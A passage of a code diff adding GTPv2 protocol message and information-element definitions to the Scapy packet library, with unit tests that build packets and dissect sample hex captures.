+                       length_from=lambda pkt: pkt.value_size),
+                       lambda pkt: pkt.value_size),
+                   ConditionalField(StrFixedLenField(
+                       "name", "",
+                       length_from=lambda pkt: pkt.length-pkt.value_size-5),
+                       lambda pkt: pkt.length)]
+
+
+class PCO_ChallengeHandshakeAuthenticationProtocol(PCO_Option):
+    name = "PCO Password Authentification Protocol"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   PacketField("PPP", None, PCO_PPP_Challenge)]
+
+
+PCO_PROTOCOL_CLASSES = {
+    0x0001: PCO_P_CSCF_IPv6_Address_Request,
+    0x0003: PCO_DNS_Server_IPv6,
+    0x0005: PCO_SOF,
+    0x000a: PCO_IP_Allocation_via_NAS,
+    0x000c: PCO_P_CSCF_IPv4_Address_Request,
+    0x000d: PCO_DNS_Server_IPv4,
+    0x0010: PCO_IPv4_Link_MTU_Request,
+    0x8021: PCO_IPCP,
+    0xc023: PCO_PasswordAuthentificationProtocol,
+    0xc223: PCO_ChallengeHandshakeAuthenticationProtocol,
+}
+
+
+def PCO_protocol_dispatcher(s):
+    """Choose the correct PCO element."""
+    proto_num = orb(s[0])*256+orb(s[1])
+    cls = PCO_PROTOCOL_CLASSES.get(proto_num, Raw)
+    return cls(s)
+
+
+class IE_PCO(gtp.IE_Base):
+    name = "IE Protocol Configuration Options"
+    fields_desc = [ByteEnumField("ietype", 78, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("Extension", 0, 1),
+                   BitField("SPARE", 0, 4),
+                   BitField("PPP", 0, 3),
+                   PacketListField("Protocols", None, PCO_protocol_dispatcher,
+                                   length_from=lambda pkt: pkt.length-1)]
+
+
+class IE_PAA(gtp.IE_Base):
+    name = "IE PAA"
+    fields_desc = [ByteEnumField("ietype", 79, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("SPARE", 0, 5),
+                   BitEnumField("PDN_type", None, 3, PDN_TYPES),
+                   ConditionalField(
+                       ByteField("ipv6_prefix_length", 8),
+                       lambda pkt: pkt.PDN_type in (2, 3)),
+                   ConditionalField(
+                       XBitField("ipv6", "2001:db8:0:42::", 128),
+                       lambda pkt: pkt.PDN_type in (2, 3)),
+                   ConditionalField(
+                       IPField("ipv4", 0), lambda pkt: pkt.PDN_type in (1, 3)),
+                   ]
+
+
+class IE_Bearer_QoS(gtp.IE_Base):
+    name = "IE Bearer Quality of Service"
+    fields_desc = [ByteEnumField("ietype", 80, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("SPARE", 0, 1),
+                   BitField("PCI", 0, 1),
+                   BitField("PriorityLevel", 0, 4),
+                   BitField("SPARE", 0, 1),
+                   BitField("PVI", 0, 1),
+                   ByteField("QCI", 0),
+                   BitField("MaxBitRateForUplink", 0, 40),
+                   BitField("MaxBitRateForDownlink", 0, 40),
+                   BitField("GuaranteedBitRateForUplink", 0, 40),
+                   BitField("GuaranteedBitRateForDownlink", 0, 40)]
+
+
+class IE_ChargingID(gtp.IE_Base):
+    name = "IE Charging ID"
+    fields_desc = [ByteEnumField("ietype", 94, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   IntField("ChargingID", 0)]
+
+
+class IE_ChargingCharacteristics(gtp.IE_Base):
+    name = "IE Charging ID"
+    fields_desc = [ByteEnumField("ietype", 95, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   XShortField("ChargingCharacteristric", 0)]
+
+
+class IE_PDN_type(gtp.IE_Base):
+    name = "IE PDN Type"
+    fields_desc = [ByteEnumField("ietype", 99, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("SPARE", 0, 5),
+                   BitEnumField("PDN_type", None, 3, PDN_TYPES)]
+
+
+class IE_UE_Timezone(gtp.IE_Base):
+    name = "IE UE Time zone"
+    fields_desc = [ByteEnumField("ietype", 114, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   ByteField("Timezone", 0),
+                   ByteField("DST", 0)]
+
+
+class IE_Port_Number(gtp.IE_Base):
+    name = "IE Port Number"
+    fields_desc = [ByteEnumField("ietype", 126, IEType),
+                   ShortField("length", 2),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   ShortField("PortNumber", RandShort())]
+
+
+class IE_APN_Restriction(gtp.IE_Base):
+    name = "IE APN Restriction"
+    fields_desc = [ByteEnumField("ietype", 127, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   ByteField("APN_Restriction", 0)]
+
+
+class IE_SelectionMode(gtp.IE_Base):
+    name = "IE Selection Mode"
+    fields_desc = [ByteEnumField("ietype", 128, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("SPARE", 0, 6),
+                   BitField("SelectionMode", 0, 2)]
+
+
+class IE_MMBR(gtp.IE_Base):
+    name = "IE Max MBR/APN-AMBR (MMBR)"
+    fields_desc = [ByteEnumField("ietype", 72, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   IntField("uplink_rate", 0),
+                   IntField("downlink_rate", 0)]
+
+
+ietypecls = {1: IE_IMSI,
+             2: IE_Cause,
+             3: IE_RecoveryRestart,
+             71: IE_APN,
+             72: IE_AMBR,
+             73: IE_EPSBearerID,
+             74: IE_IPv4,
+             75: IE_MEI,
+             76: IE_MSISDN,
+             77: IE_Indication,
+             78: IE_PCO,
+             79: IE_PAA,
+             80: IE_Bearer_QoS,
+             82: IE_RAT,
+             83: IE_ServingNetwork,
+             86: IE_ULI,
+             87: IE_FTEID,
+             93: IE_BearerContext,
+             94: IE_ChargingID,
+             95: IE_ChargingCharacteristics,
+             99: IE_PDN_type,
+             114: IE_UE_Timezone,
+             126: IE_Port_Number,
+             127: IE_APN_Restriction,
+             128: IE_SelectionMode,
+             161: IE_MMBR}
+
+#
+# GTPv2 Commands
+# 3GPP TS 29.060 V9.1.0 (2009-12)
+#
+
+
+class GTPV2Command(Packet):
+    fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)]
+
+
+class GTPV2EchoRequest(GTPV2Command):
+    name = "GTPv2 Echo Request"
+
+
+class GTPV2EchoResponse(GTPV2Command):
+    name = "GTPv2 Echo Response"
+
+
+class GTPV2CreateSessionRequest(GTPV2Command):
+    name = "GTPv2 Create Session Request"
+
+
+class GTPV2CreateSessionResponse(GTPV2Command):
+    name = "GTPv2 Create Session Response"
+
+
+class GTPV2DeleteSessionRequest(GTPV2Command):
+    name = "GTPv2 Delete Session Request"
+
+
+class GTPV2DeleteSessionResponse(GTPV2Command):
+    name = "GTPv2 Delete Session Request"
+
+
+class GTPV2ModifyBearerCommand(GTPV2Command):
+    name = "GTPv2 Modify Bearer Command"
+
+
+class GTPV2ModifyBearerFailureNotification(GTPV2Command):
+    name = "GTPv2 Modify Bearer Command"
+
+
+class GTPV2DownlinkDataNotifFailureIndication(GTPV2Command):
+    name = "GTPv2 Downlink Data Notification Failure Indication"
+
+
+class GTPV2ModifyBearerRequest(GTPV2Command):
+    name = "GTPv2 Modify Bearer Request"
+
+
+class GTPV2ModifyBearerResponse(GTPV2Command):
+    name = "GTPv2 Modify Bearer Response"
+
+
+class GTPV2UpdateBearerRequest(GTPV2Command):
+    name = "GTPv2 Update Bearer Request"
+
+
+class GTPV2UpdateBearerResponse(GTPV2Command):
+    name = "GTPv2 Update Bearer Response"
+
+
+class GTPV2DeleteBearerRequest(GTPV2Command):
+    name = "GTPv2 Delete Bearer Request"
+
+
+class GTPV2SuspendNotification(GTPV2Command):
+    name = "GTPv2 Suspend Notification"
+
+
+class GTPV2SuspendAcknowledge(GTPV2Command):
+    name = "GTPv2 Suspend Acknowledge"
+
+
+class GTPV2ResumeNotification(GTPV2Command):
+    name = "GTPv2 Resume Notification"
+
+
+class GTPV2ResumeAcknowledge(GTPV2Command):
+    name = "GTPv2 Resume Acknowledge"
+
+
+class GTPV2DeleteBearerResponse(GTPV2Command):
+    name = "GTPv2 Delete Bearer Response"
+
+
+class GTPV2CreateIndirectDataForwardingTunnelRequest(GTPV2Command):
+    name = "GTPv2 Create Indirect Data Forwarding Tunnel Request"
+
+
+class GTPV2CreateIndirectDataForwardingTunnelResponse(GTPV2Command):
+    name = "GTPv2 Create Indirect Data Forwarding Tunnel Response"
+
+
+class GTPV2DeleteIndirectDataForwardingTunnelRequest(GTPV2Command):
+    name = "GTPv2 Delete Indirect Data Forwarding Tunnel Request"
+
+
+class GTPV2DeleteIndirectDataForwardingTunnelResponse(GTPV2Command):
+    name = "GTPv2 Delete Indirect Data Forwarding Tunnel Response"
+
+
+class GTPV2ReleaseBearerRequest(GTPV2Command):
+    name = "GTPv2 Release Bearer Request"
+
+
+class GTPV2ReleaseBearerResponse(GTPV2Command):
+    name = "GTPv2 Release Bearer Response"
+
+
+class GTPV2DownlinkDataNotif(GTPV2Command):
+    name = "GTPv2 Download Data Notification"
+
+
+class GTPV2DownlinkDataNotifAck(GTPV2Command):
+    name = "GTPv2 Download Data Notification Acknowledgment"
+
+bind_layers(GTPHeader, GTPV2EchoRequest, gtp_type=1, T=0)
+bind_layers(GTPHeader, GTPV2EchoResponse, gtp_type=2, T=0)
+bind_layers(GTPHeader, GTPV2CreateSessionRequest, gtp_type=32)
+bind_layers(GTPHeader, GTPV2CreateSessionResponse, gtp_type=33)
+bind_layers(GTPHeader, GTPV2ModifyBearerRequest, gtp_type=34)
+bind_layers(GTPHeader, GTPV2ModifyBearerResponse, gtp_type=35)
+bind_layers(GTPHeader, GTPV2DeleteSessionRequest, gtp_type=36)
+bind_layers(GTPHeader, GTPV2DeleteSessionResponse, gtp_type=37)
+bind_layers(GTPHeader, GTPV2ModifyBearerCommand, gtp_type=64)
+bind_layers(GTPHeader, GTPV2ModifyBearerFailureNotification, gtp_type=65)
+bind_layers(GTPHeader, GTPV2DownlinkDataNotifFailureIndication, gtp_type=70)
+bind_layers(GTPHeader, GTPV2UpdateBearerRequest, gtp_type=97)
+bind_layers(GTPHeader, GTPV2UpdateBearerResponse, gtp_type=98)
+bind_layers(GTPHeader, GTPV2DeleteBearerRequest, gtp_type=99)
+bind_layers(GTPHeader, GTPV2DeleteBearerResponse, gtp_type=100)
+bind_layers(GTPHeader, GTPV2SuspendNotification, gtp_type=162)
+bind_layers(GTPHeader, GTPV2SuspendAcknowledge, gtp_type=163)
+bind_layers(GTPHeader, GTPV2ResumeNotification, gtp_type=164)
+bind_layers(GTPHeader, GTPV2ResumeAcknowledge, gtp_type=165)
+bind_layers(
+    GTPHeader, GTPV2CreateIndirectDataForwardingTunnelRequest, gtp_type=166)
+bind_layers(
+    GTPHeader, GTPV2CreateIndirectDataForwardingTunnelResponse, gtp_type=167)
+bind_layers(
+    GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelRequest, gtp_type=168)
+bind_layers(
+    GTPHeader, GTPV2DeleteIndirectDataForwardingTunnelResponse, gtp_type=169)
+bind_layers(GTPHeader, GTPV2ReleaseBearerRequest, gtp_type=170)
+bind_layers(GTPHeader, GTPV2ReleaseBearerResponse, gtp_type=171)
+bind_layers(GTPHeader, GTPV2DownlinkDataNotif, gtp_type=176)
+bind_layers(GTPHeader, GTPV2DownlinkDataNotifAck, gtp_type=177)
diff --git a/scapy/contrib/gtp_v2.uts b/scapy/contrib/gtp_v2.uts
new file mode 100644
index 0000000..5488578
--- /dev/null
+++ b/scapy/contrib/gtp_v2.uts
@@ -0,0 +1,347 @@
+# GTPv2 unit tests
+#
+# Type the following command to launch start the tests:
+# $ test/run_tests -P "load_contrib('gtp_v2')" -t scapy/contrib/gtp_v2.uts
+
++ GTPv2
+
+= GTPHeader v2, basic instanciation
+gtp = IP()/UDP(dport=2123)/GTPHeader(gtp_type=1)
+gtp.dport == 2123 and gtp.gtp_type == 1
+
+= GTPV2EchoRequest, basic instantiation
+gtp = IP()/UDP(dport=2123) / GTPHeader(seq=12345) / GTPV2EchoRequest()
+gtp.dport == 2123 and gtp.seq == 12345 and gtp.gtp_type == 1 and gtp.T == 0
+
+= GTPV2CreateSessionRequest, basic instantiation
+gtp = IP() / UDP(dport=2123) / \
+    GTPHeader(gtp_type="create_session_req", teid=2807, seq=12345) / \
+    GTPV2CreateSessionRequest()
+gtp.dport == 2123 and gtp.teid == 2807 and gtp.seq == 12345
+
+= GTPV2EchoRequest, dissection
+h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100030001000daa000000003f1f382f"
+gtp = Ether(hex_bytes(h))
+gtp.gtp_type == 1
+
+= GTPV2EchoResponse, dissection
+h = "3333333333332222222222228100e384080045fc002fd6d70000f21180d40a2a00010a2a0002084b084b001b00004002000f000001000300010001020002001000731cd7c5"
+gtp = Ether(hex_bytes(h))
+gtp.gtp_type == 2
+
+= GTPV2ModifyBearerRequest, dissection
+h = "3333333333332222222222228100a384080045b8004300000000fc1185350a2a00010a2a00027a76084b002f6c344822002392e9e1143652540052000100065d00120049000100055700090080000010927f000002ac79a28e"
+gtp = Ether(hex_bytes(h))
+gtp.gtp_type == 34
+
+= IE_IMSI, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd00000000661759000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100235700090385000010927f00000250001600580700000000000000000000000000000000000000007200020040005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.IMSI == b"2080112345670000"
+
+= IE_IMSI, basic instantiation
+ie = IE_IMSI(ietype='IMSI', length=8, IMSI='2080112345670000')
+ie.ietype == 1 and ie.IMSI == b'2080112345670000'
+
+= IE_Cause, dissection
+h = "3333333333332222222222228100838408004588004a00000000fd1193160a2a00010a2a0002084b824600366a744823002a45e679235ea151000200020010005d001800490001006c0200020010005700090081000010927f000002558d3b69"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.Cause == 16
+
+= IE_Cause, basic instantiation
+ie = IE_Cause(
+    ietype='Cause', length=2, Cause='Request Accepted', PCE=1, BCE=0, CS=0)
+ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 1 and ie.BCE == 0 and ie.CS == 0
+
+= IE_Cause, basic instantiation 2
+ie = IE_Cause(
+    ietype='Cause', length=2, Cause='Request Accepted', PCE=0, BCE=1, CS=0)
+ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 1 and ie.CS == 0
+
+= IE_Cause, basic instantiation 3
+ie = IE_Cause(
+    ietype='Cause', length=2, Cause='Request Accepted', PCE=0, BCE=0, CS=1)
+ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 0 and ie.CS == 1
+
+= IE_RecoveryRestart, dissection
+h = "3333333333332222222222228100838408004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e400100095e4b1f00030001000daa000000003f1f382f"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[0]
+ie.ietype == 3 and ie.restart_counter == 13
+
+= IE_RecoveryRestart, basic instantiation
+ie = IE_RecoveryRestart(
+    ietype='Recovery Restart', length=1, restart_counter=17)
+ie.ietype == 3 and ie.restart_counter == 17
+
+= IE_APN, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[7]
+ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa'
+
+= IE_APN, basic instantiation
+ie = IE_APN(ietype='APN', length=26, APN='aaaaaaaaaaaaaaaaaaaaaaaaa')
+ie.ietype == 71 and ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa'
+
+= IE_AMBR, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[11]
+ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000
+
+= IE_AMBR, basic instantiation
+ie = IE_AMBR(
+    ietype='AMBR', length=8, AMBR_Uplink=5888, AMBR_Downlink=42000)
+ie.ietype == 72 and ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000
+
+= IE_EPSBearerID, dissection
+h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[2]
+ie.EBI == 50
+
+= IE_EPSBearerID, basic instantiation
+ie = IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=50)
+ie.ietype == 73 and ie.EBI == 50
+
+= IE_IPv4, dissection
+h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d84530d5a4cdee2000200020010004c00060011111111111149000100b248000800000061a8000249f07f000100005d00130049000100da0200020010005e00040039004f454a0004007f00000436f73a63"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[6]
+ie.address == '127.0.0.4'
+
+= IE_IPv4, basic instantiation
+ie = IE_IPv4(ietype='IPv4', length=4, address='127.0.0.4')
+ie.ietype == 74 and ie.address == '127.0.0.4'
+
+= IE_MEI, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[1]
+ie.MEI == 123456
+
+= IE_MEI, basic instantiation
+ie = IE_MEI(ietype='MEI', length=1, MEI=123456)
+ie.ietype == 75 and ie.MEI == 123456
+
+= IE_MSISDN, dissection
+h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[1]
+ie.digits == b'111111111111'
+
+= IE_MSISDN, basic instantiation
+ie = IE_MSISDN(ietype='MSISDN', length=6, digits='111111111111')
+ie.ietype == 76 and ie.digits == b'111111111111'
+
+= IE_Indication, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[10]
+ie.DAF == 0 and ie.DTF == 0 and ie.PS == 1 and ie.CCRSI == 0 and ie.CPRAI == 0 and ie.PPON == 0 and ie.CLII == 0 and ie.CPSR == 0
+
+= IE_Indication, basic instantiation
+ie = IE_Indication(ietype='Indication', length=8, PS=1, CPRAI=1)
+ie.ietype == 77 and ie.PS == 1 and ie.CPRAI == 1
+
+= IE_Indication, basic instantiation 2
+ie = IE_Indication(ietype='Indication', length=8, DTF=1, PPSI=1)
+ie.ietype == 77 and ie.DTF == 1 and ie.PPSI == 1
+
+= IE_PCO, dissection
+h = "333333333333222222222222810083840800458800a500000000fd1183bb0a2a00010a2a0002084b76a00091cf0b48210085bd574af24c68e300020002001000570009008b000010927f0000025700090187000010927f0000024f000500017f0000037f000100004e00220080000d040a2a0003000d040a2a00038021100300001081060a2a000483060a2a00045d00250049000100660200020010005700090081000010927f0000025700090285000010927f000002dd9f22c6"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[5]
+ie.Protocols[0].address == '10.42.0.3'
+
+= IE_PCO, basic instantiation
+ie = IE_PCO(ietype='Protocol Configuration Options', length=8, Extension=1, PPP=3, Protocols=[
+                   PCO_DNS_Server_IPv4(type='DNS Server IPv4 Address Request', length=4, address='10.42.0.3')])
+ie.Extension == 1 and ie.PPP == 3 and ie.Protocols[0].address == '10.42.0.3'
+
+= IE_PAA, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[9]
+ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3'
+
+= IE_PAA, basic instantiation
+ie = IE_PAA(ietype='PAA', length=5, PDN_type='IPv4', ipv4='127.0.0.3')
+ie.ietype == 79 and ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3'
+
+= IE_Bearer_QoS, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[12].IE_list[2]
+ie.MaxBitRateForUplink == 0 and ie.MaxBitRateForDownlink == 0 and ie.QCI == 7
+
+= IE_Bearer_QoS, basic instantiation
+ie = IE_Bearer_QoS(ietype='Bearer QoS', length=22, PCI=4, PriorityLevel=5, PVI=6, QCI=7,
+                          MaxBitRateForUplink=1, MaxBitRateForDownlink=2, GuaranteedBitRateForUplink=3, GuaranteedBitRateForDownlink=4)
+ie.ietype == 80 and ie.PCI == 4 and ie.PriorityLevel == 5 and ie.PVI == 6 and ie.QCI == 7 and ie.MaxBitRateForUplink == 1 and ie.MaxBitRateForDownlink == 2 and ie.GuaranteedBitRateForUplink == 3 and ie.GuaranteedBitRateForDownlink == 4
+
+= IE_RAT, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[4]
+ie.RAT_type == 6
+
+= IE_RAT, basic instantiation
+ie = IE_RAT(ietype='RAT', length=1, RAT_type='EUTRAN')
+ie.ietype == 82 and ie.RAT_type == 6
+
+= IE_ServingNetwork, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[3]
+ie.MCC == b'234' and ie.MNC == b'02'
+
+= IE_ServingNetwork, basic instantiation
+ie = IE_ServingNetwork(
+    ietype='Serving Network', length=3, MCC='234', MNC='02')
+ie.ietype == 83 and ie.MCC == b'234' and ie.MNC == b'02'
+
+= IE_ULI, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[2]
+ie.TAI_Present == 1 and ie.ECGI_Present == 1 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456
+
+= IE_ULI, basic instantiation
+ie = IE_ULI(ietype='ULI', length=13, LAI_Present=0, ECGI_Present=1, TAI_Present=1, RAI_Present=0, SAI_Present=0,
+                   CGI_Present=0, TAI=ULI_TAI(MCC='234', MNC='02', TAC=12345), ECGI=ULI_ECGI(MCC='234', MNC='02', ECI=123456))
+ie.ietype == 86 and ie.LAI_Present == 0 and ie.ECGI_Present == 1 and ie.TAI_Present == 1 and ie.RAI_Present == 0 and ie.SAI_Present == 0 and ie.CGI_Present == 0 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456
+
+= IE_FTEID, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[5]
+ie.GRE_Key == 4242 and ie.ipv4 == '127.0.0.2'
+
+= IE_FTEID, basic instantiation
+ie = IE_FTEID(ietype='F-TEID', length=9, ipv4_present=1,
+                     InterfaceType=10, GRE_Key=0x1092, ipv4='127.0.0.2')
+ie.ietype == 87 and ie.ipv4_present == 1 and ie.InterfaceType == 10 and ie.GRE_Key == 0x1092 and ie.ipv4 == '127.0.0.2'
+
+= IE_BearerContext, dissection
+h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[12]
+len(ie.IE_list) == 3 and ie.IE_list[0].ietype == 73 and ie.IE_list[0].EBI == 229 and ie.IE_list[
+    1].ietype == 87 and ie.IE_list[1].ipv4 == '127.0.0.2' and ie.IE_list[2].ietype == 80 and ie.IE_list[2].QCI == 7
+
+= IE_BearerContext, basic instantiation
+ie = IE_BearerContext(ietype='Bearer Context', length=44, IE_list=[
+                             IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=229)])
+ie.ietype == 93 and len(ie.IE_list) == 1 and ie.IE_list[
+    0].ietype == 73 and ie.IE_list[0].EBI == 229
+
+= IE_ChargingID, dissection
+h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004da0316b4d96ac2c000200020010004c00060011111111111149000100c348000800000061a8000249f07f000100005d001300490001003f0200020010005e00040039004f454a0004007f00000436f73a63"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[5].IE_list[2]
+ie.ChargingID == 956321605
+
+= IE_ChargingID, basic instantiation
+ie = IE_ChargingID(ietype='Charging ID', length=4, ChargingID=956321605)
+ie.ietype == 94 and ie.ChargingID == 956321605
+
+= IE_ChargingCharacteristics, dissection
